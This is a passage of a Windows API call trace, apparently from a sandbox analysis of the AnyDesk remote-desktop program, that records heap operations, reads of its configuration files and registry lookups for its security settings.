dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.052] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0ed90 | out: hHeap=0x3b0000) returned 1 [0190.052] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b988 | out: hHeap=0x3b0000) returned 1 [0190.053] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x88) returned 0xe0ad30 [0190.053] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0xe2f628 [0190.053] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0b988 [0190.053] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7f) returned 0xe153d8 [0190.053] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf7f8 | out: hHeap=0x3b0000) returned 1 [0190.053] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bae8 [0190.053] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bbe8 [0190.053] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0xe2f678 [0190.053] GetTickCount () returned 0x187ff4c [0190.053] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0190.055] LockFileEx (in: hFile=0x198, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x324e4c | out: lpOverlapped=0x324e4c) returned 1 [0190.055] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x324e68 | out: lpFileSize=0x324e68*=60) returned 1 [0190.055] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0xe104c8 [0190.055] ReadFile (in: hFile=0x198, lpBuffer=0xe104c8, nNumberOfBytesToRead=0x3c, lpNumberOfBytesRead=0x324e7c, lpOverlapped=0x0 | out: lpBuffer=0xe104c8*, lpNumberOfBytesRead=0x324e7c*=0x3c, lpOverlapped=0x0) returned 1 [0190.056] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe104c8, cbMultiByte=60, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 60 [0190.057] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7a) returned 0xe0f870 [0190.057] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe104c8, cbMultiByte=60, lpWideCharStr=0xe0f870, cchWideChar=61 | out: lpWideCharStr="ad.security.update_channel=stable\nad.security.update_type=0\nons.੷௹ꃞ\x01꘰à㩨áfeature=0") returned 60 [0190.057] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2f6c8 [0190.057] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13218 [0190.057] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe1b350 [0190.057] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13230 [0190.057] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2f718 [0190.057] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f718 | out: hHeap=0x3b0000) returned 1 [0190.057] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe31fb8 [0190.057] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe31ff8 [0190.058] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe31fb8 | out: hHeap=0x3b0000) returned 1 [0190.058] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe13248 [0190.058] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe13260 [0190.058] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe13278 [0190.058] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe13260 | out: hHeap=0x3b0000) returned 1 [0190.058] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe13248 | out: hHeap=0x3b0000) returned 1 [0190.058] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe0ed90 [0190.058] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bc08 [0190.058] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe31fb8 [0190.058] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0ed90 | out: hHeap=0x3b0000) returned 1 [0190.058] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe13248 [0190.058] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe13278 | out: hHeap=0x3b0000) returned 1 [0190.059] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe31ff8 | out: hHeap=0x3b0000) returned 1 [0190.059] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe31ff8 [0190.059] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe31ff8 | out: hHeap=0x3b0000) returned 1 [0190.059] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe142b0 [0190.059] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0f330 [0190.060] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe142b0 | out: hHeap=0x3b0000) returned 1 [0190.060] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe0ed90 [0190.060] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe0eda0 [0190.060] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe0edb0 [0190.060] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0eda0 | out: hHeap=0x3b0000) returned 1 [0190.060] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0ed90 | out: hHeap=0x3b0000) returned 1 [0190.060] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe0ed90 [0190.060] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bc28 [0190.060] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe142b0 [0190.060] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0ed90 | out: hHeap=0x3b0000) returned 1 [0190.060] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe0ed90 [0190.060] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0edb0 | out: hHeap=0x3b0000) returned 1 [0190.061] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f330 | out: hHeap=0x3b0000) returned 1 [0190.061] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f6c8 | out: hHeap=0x3b0000) returned 1 [0190.061] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe13218 | out: hHeap=0x3b0000) returned 1 [0190.062] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b350 | out: hHeap=0x3b0000) returned 1 [0190.138] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe13230 | out: hHeap=0x3b0000) returned 1 [0190.138] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f870 | out: hHeap=0x3b0000) returned 1 [0190.139] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe104c8 | out: hHeap=0x3b0000) returned 1 [0190.139] UnlockFileEx (in: hFile=0x198, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x324e08 | out: lpOverlapped=0x324e08) returned 1 [0190.139] CloseHandle (hObject=0x198) returned 1 [0190.140] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f678 | out: hHeap=0x3b0000) returned 1 [0190.140] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe0edb0 [0190.140] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe0eda0 [0190.140] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bc48 [0190.140] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0f330 [0190.140] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0eda0 | out: hHeap=0x3b0000) returned 1 [0190.140] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe0eda0 [0190.140] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0edb0 | out: hHeap=0x3b0000) returned 1 [0190.140] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe0edb0 [0190.140] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe0edc0 [0190.140] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bc68 [0190.140] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe1b350 [0190.140] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0edc0 | out: hHeap=0x3b0000) returned 1 [0190.140] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe13230 [0190.141] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0edb0 | out: hHeap=0x3b0000) returned 1 [0190.141] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b988 | out: hHeap=0x3b0000) returned 1 [0190.141] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe0edb0 [0190.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0190.141] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe0edc0 [0190.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe0edc0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0190.141] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe0edd0 [0190.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0190.141] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe0ede0 [0190.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe0ede0, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0190.141] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0ede0 | out: hHeap=0x3b0000) returned 1 [0190.141] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x37) returned 0xe31ff8 [0190.141] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe16660 [0190.141] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe31ff8 | out: hHeap=0x3b0000) returned 1 [0190.141] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe0ede0 [0190.142] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0b988 [0190.142] RegQueryValueExW (in: hKey=0x0, lpValueName="security.updatetype", lpReserved=0x0, lpType=0x324e30, lpData=0x0, lpcbData=0x324e34*=0x0 | out: lpType=0x324e30*=0x0, lpData=0x0, lpcbData=0x324e34*=0x0) returned 0x6 [0190.142] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324e5c | out: phkResult=0x324e5c*=0x0) returned 0x2 [0190.142] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2ac98 | out: hHeap=0x3b0000) returned 1 [0190.142] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0edb0 | out: hHeap=0x3b0000) returned 1 [0190.142] RegQueryValueExW (in: hKey=0x0, lpValueName="security.updatechannel", lpReserved=0x0, lpType=0x324e30, lpData=0x0, lpcbData=0x324e34*=0x0 | out: lpType=0x324e30*=0x0, lpData=0x0, lpcbData=0x324e34*=0x0) returned 0x6 [0190.142] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324e5c | out: phkResult=0x324e5c*=0x0) returned 0x2 [0190.142] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f3d8 | out: hHeap=0x3b0000) returned 1 [0190.142] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0edb0 | out: hHeap=0x3b0000) returned 1 [0190.143] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\service.conf" (normalized: "c:\\programdata\\anydesk\\service.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0190.210] LockFileEx (in: hFile=0x198, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x324e44 | out: lpOverlapped=0x324e44) returned 1 [0190.210] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x324e60 | out: lpFileSize=0x324e60*=0) returned 1 [0190.210] UnlockFileEx (in: hFile=0x198, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x324e00 | out: lpOverlapped=0x324e00) returned 1 [0190.210] CloseHandle (hObject=0x198) returned 1 [0190.210] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f6c8 | out: hHeap=0x3b0000) returned 1 [0190.211] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bae8 | out: hHeap=0x3b0000) returned 1 [0190.211] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bc68 | out: hHeap=0x3b0000) returned 1 [0190.211] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f498 | out: hHeap=0x3b0000) returned 1 [0190.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fda5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0190.212] RegQueryValueExW (in: hKey=0x0, lpValueName="trace.level", lpReserved=0x0, lpType=0x324f60, lpData=0x0, lpcbData=0x324f64*=0x0 | out: lpType=0x324f60*=0x0, lpData=0x0, lpcbData=0x324f64*=0x0) returned 0x6 [0190.212] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324f8c | out: phkResult=0x324f8c*=0x0) returned 0x2 [0190.212] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bca8 | out: hHeap=0x3b0000) returned 1 [0190.212] RegQueryValueExW (in: hKey=0x0, lpValueName="trace.level", lpReserved=0x0, lpType=0x324f60, lpData=0x0, lpcbData=0x324f64*=0x0 | out: lpType=0x324f60*=0x0, lpData=0x0, lpcbData=0x324f64*=0x0) returned 0x6 [0190.212] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324f8c | out: phkResult=0x324f8c*=0x0) returned 0x2 [0190.212] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bce8 | out: hHeap=0x3b0000) returned 1 [0190.212] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0eda0 | out: hHeap=0x3b0000) returned 1 [0190.213] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.version", lpReserved=0x0, lpType=0x324ed8, lpData=0x0, lpcbData=0x324edc*=0x0 | out: lpType=0x324ed8*=0x0, lpData=0x0, lpcbData=0x324edc*=0x0) returned 0x6 [0190.213] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324f04 | out: phkResult=0x324f04*=0x0) returned 0x2 [0190.213] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f6c8 | out: hHeap=0x3b0000) returned 1 [0190.213] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.version", lpReserved=0x0, lpType=0x324ed8, lpData=0x0, lpcbData=0x324edc*=0x0 | out: lpType=0x324ed8*=0x0, lpData=0x0, lpcbData=0x324edc*=0x0) returned 0x6 [0190.213] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324f04 | out: phkResult=0x324f04*=0x0) returned 0x2 [0190.214] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f7b8 | out: hHeap=0x3b0000) returned 1 [0190.214] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02150 | out: hHeap=0x3b0000) returned 1 [0190.214] GetSystemTime (in: lpSystemTime=0x324fc4 | out: lpSystemTime=0x324fc4*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0x24c)) [0190.214] GetCurrentThreadId () returned 0x998 [0190.214] GetCurrentProcessId () returned 0x994 [0190.214] GetLastError () returned 0x0 [0190.215] RegQueryValueExW (in: hKey=0x0, lpValueName="security.frontendclipboardversion", lpReserved=0x0, lpType=0x3243d8, lpData=0x0, lpcbData=0x3243dc*=0x0 | out: lpType=0x3243d8*=0x0, lpData=0x0, lpcbData=0x3243dc*=0x0) returned 0x6 [0190.215] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324404 | out: phkResult=0x324404*=0x0) returned 0x2 [0190.215] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f7b8 | out: hHeap=0x3b0000) returned 1 [0190.215] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe02190 [0190.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0190.216] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe021a0 [0190.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe021a0, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0190.216] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021a0 | out: hHeap=0x3b0000) returned 1 [0190.216] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x55) returned 0xe15de0 [0190.216] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2f7b8 [0190.217] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15de0 | out: hHeap=0x3b0000) returned 1 [0190.217] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021a0 [0190.217] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33c18 [0190.217] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe12ba8 [0190.217] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021a0 | out: hHeap=0x3b0000) returned 1 [0190.217] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02190 | out: hHeap=0x3b0000) returned 1 [0190.217] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2f808 [0190.217] RegQueryValueExW (in: hKey=0x0, lpValueName="security.frontendclipboardversion", lpReserved=0x0, lpType=0x3243d8, lpData=0x0, lpcbData=0x3243dc*=0x0 | out: lpType=0x3243d8*=0x0, lpData=0x0, lpcbData=0x3243dc*=0x0) returned 0x6 [0190.217] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324404 | out: phkResult=0x324404*=0x0) returned 0x2 [0190.217] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2f808 | out: hHeap=0x3b0000) returned 1 [0190.217] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02130 | out: hHeap=0x3b0000) returned 1 [0190.217] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe02130 [0190.217] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02150 | out: hHeap=0x3b0000) returned 1 [0190.218] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02130 | out: hHeap=0x3b0000) returned 1 [0190.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe068, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 40 [0190.218] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe12c58 [0190.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe068, cbMultiByte=-1, lpWideCharStr=0xe12c58, cchWideChar=40 | out: lpWideCharStr="ad.security.permission_profiles.version") returned 40 [0190.218] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe12cb0 [0190.218] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe12d08 [0190.218] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33c38 [0190.218] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe12d60 [0190.218] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12d08 | out: hHeap=0x3b0000) returned 1 [0190.218] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c58 | out: hHeap=0x3b0000) returned 1 [0190.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19e9ba8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0190.219] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x56) returned 0xe15de0 [0190.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19e9ba8, cbMultiByte=-1, lpWideCharStr=0xe15de0, cchWideChar=43 | out: lpWideCharStr="ad.security.permission_profiles.can_create") returned 43 [0190.219] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x56) returned 0xe15fc0 [0190.219] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x56) returned 0xe16020 [0190.219] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33c58 [0190.219] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x56) returned 0xe160e0 [0190.219] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16020 | out: hHeap=0x3b0000) returned 1 [0190.219] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15de0 | out: hHeap=0x3b0000) returned 1 [0190.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe090, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0190.219] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f5d0 [0190.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe090, cbMultiByte=-1, lpWideCharStr=0xe0f5d0, cchWideChar=23 | out: lpWideCharStr="ad.security.hear_audio") returned 23 [0190.219] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f678 [0190.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f640 [0190.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33c78 [0190.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0f6e8 [0190.220] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f640 | out: hHeap=0x3b0000) returned 1 [0190.220] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0f5d0 | out: hHeap=0x3b0000) returned 1 [0190.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe0a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0190.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe323f8 [0190.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe0a8, cbMultiByte=-1, lpWideCharStr=0xe323f8, cchWideChar=26 | out: lpWideCharStr="ad.security.control_input") returned 26 [0190.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe324b8 [0190.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32478 [0190.221] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33c98 [0190.221] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32538 [0190.221] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32478 | out: hHeap=0x3b0000) returned 1 [0190.221] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe323f8 | out: hHeap=0x3b0000) returned 1 [0190.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe0c4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0190.221] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe323f8 [0190.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe0c4, cbMultiByte=-1, lpWideCharStr=0xe323f8, cchWideChar=25 | out: lpWideCharStr="ad.security.sync_clipbrd") returned 25 [0190.221] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe32478 [0190.221] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe324f8 [0190.222] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33cb8 [0190.222] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe325b8 [0190.222] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe324f8 | out: hHeap=0x3b0000) returned 1 [0190.222] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe323f8 | out: hHeap=0x3b0000) returned 1 [0190.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe0e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0190.222] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) 